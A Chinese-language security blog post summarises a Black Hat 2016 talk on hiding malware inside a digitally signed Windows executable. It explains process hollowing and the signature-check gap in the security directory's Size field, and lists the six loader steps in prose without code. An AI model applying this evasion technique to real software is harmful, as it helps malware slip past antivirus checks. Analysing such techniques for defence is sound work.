作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

在签名的程序中隐藏和执行恶意软件?

$
0
0

在Blackhat USA 2016上,来自Deep Instinct的安全研究人员呈现了一个名为《Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable》的演讲,咋一看还觉得挺惊奇的,听过演讲之后才发现原理十分简单,而且大部分内容都集中在内存加载PE文件上,于是忍不住又是一阵惊奇:这也可以?在仔细读完作者的Paper之后,发现和传统技术点还是有区别的,不过也有很大的限制。

早期的恶意软件为了躲避检测,使用过一种叫做“傀儡进程注入”的技术。通俗一点讲,就是先启动并挂起一个合法的可执行文件(进程A),随后通过跨进程内存读写来将自身(或者是第三方PE文件)注入到进程A,同时处理输入表和重定位表,最后跳转到入口点来执行代码,这样就完成了一次借尸还魂的操作。原始恶意进程在完成这一操作之后会自动退出,而之后恶意代码会一直在傀儡进程中运行,也就达到了隐藏自身的目的。

传统恶意代码的傀儡进程代码注入技术

那么,Blackhat上的这个演讲有什么不一样的地方呢?有两个关键的地方。

首先,在一个带有合法数字签名的可执行程序中隐藏恶意程序,并且保证原有数字签名的有效性不会被破坏。这可以在一定程度上躲避杀毒软件的检测,因为某些杀毒软件可能并不会仔细去检查带有合法数字签名的程序。这一过程的实现钻了Windows校验数字签名的一个空子:Windows在校验PE文件的数据时,有以下三处数据是忽略的:

  1. 可选头中的CheckSum字段,即IMAGE_NT_HEADERS->IMAGE_OPTIONAL_HEADER->CheckSum;
  2. 数据目录表数组的第五个元素,即IMAGE_DIRECTORY_ENTRY_SECURITY(包括VirtualAddress和Size);
  3. 数字签名相关数据,也就是IMAGE_DIRECTORY_ENTRY_SECURITY指向的数据;

通常而言,IMAGE_DIRECTORY_ENTRY_SECURITY指向的数据会放在文件的末尾,所以我们可以在文件末尾附加额外的数据,同时修改IMAGE_DIRECTORY_ENTRY_SECURITY的Size字段,即可避免数字签名失效。此外,Size是DWORD类型,所以可以存放大量数据!

其次,恶意程序同时充当了三个角色:是携带恶意代码的载体,也是Loader,还是傀儡进程。相关的实现细节为:

  1. Loader进程启动;
  2. Loader在内存中提取附加的恶意程序的数据;
  3. Loader尝试移动自身的数据到内存空间中的其他位置,这样可以保证恶意程序的数据可以加载到指定的内存地址;在移动的过程中,Loader需要对自身进行重定位操作,但是不需要对附加的恶意程序进行重定位操作;
  4. Loader完成移动操作后,需要跳转到移动后的代码去执行,这样才能继续接管控制权限;
  5. Loader分配内存并加载恶意程序,并处理对应的输入表;
  6. 跳转到恶意程序的入口点执行代码,将控制权限移交给恶意程序;

新的方法不需要跨进程操作内存,且Loader是完全通用的!缺点:

  1. 需要有合法的证书给Loader签名;
  2. 样本可能会被第三方使用,可能复用成本较低(可通过增强校验来避免);
  3. 安全厂商可以通过证书精确打击;

总的来说,这个议题最有新意的地方在于隐藏的实现上,其他内容基本都是很古老的东西了。

AD: 我建立了一个微信公众号“煮酒论安全”,欢迎大家扫码关注,以后新的文章都会同步发送到微信公众号。
扫描二维码关注微信公众号“煮酒论安全”

参考文章:

  1. 动态加载并执行Win32可执行程序
  2. CERTIFICATE BYPASS: HIDING AND EXECUTING MALWARE FROM A DIGITALLY SIGNED EXECUTABLE

觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> 在签名的程序中隐藏和执行恶意软件?
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


Viewing all 15 articles
Browse latest View live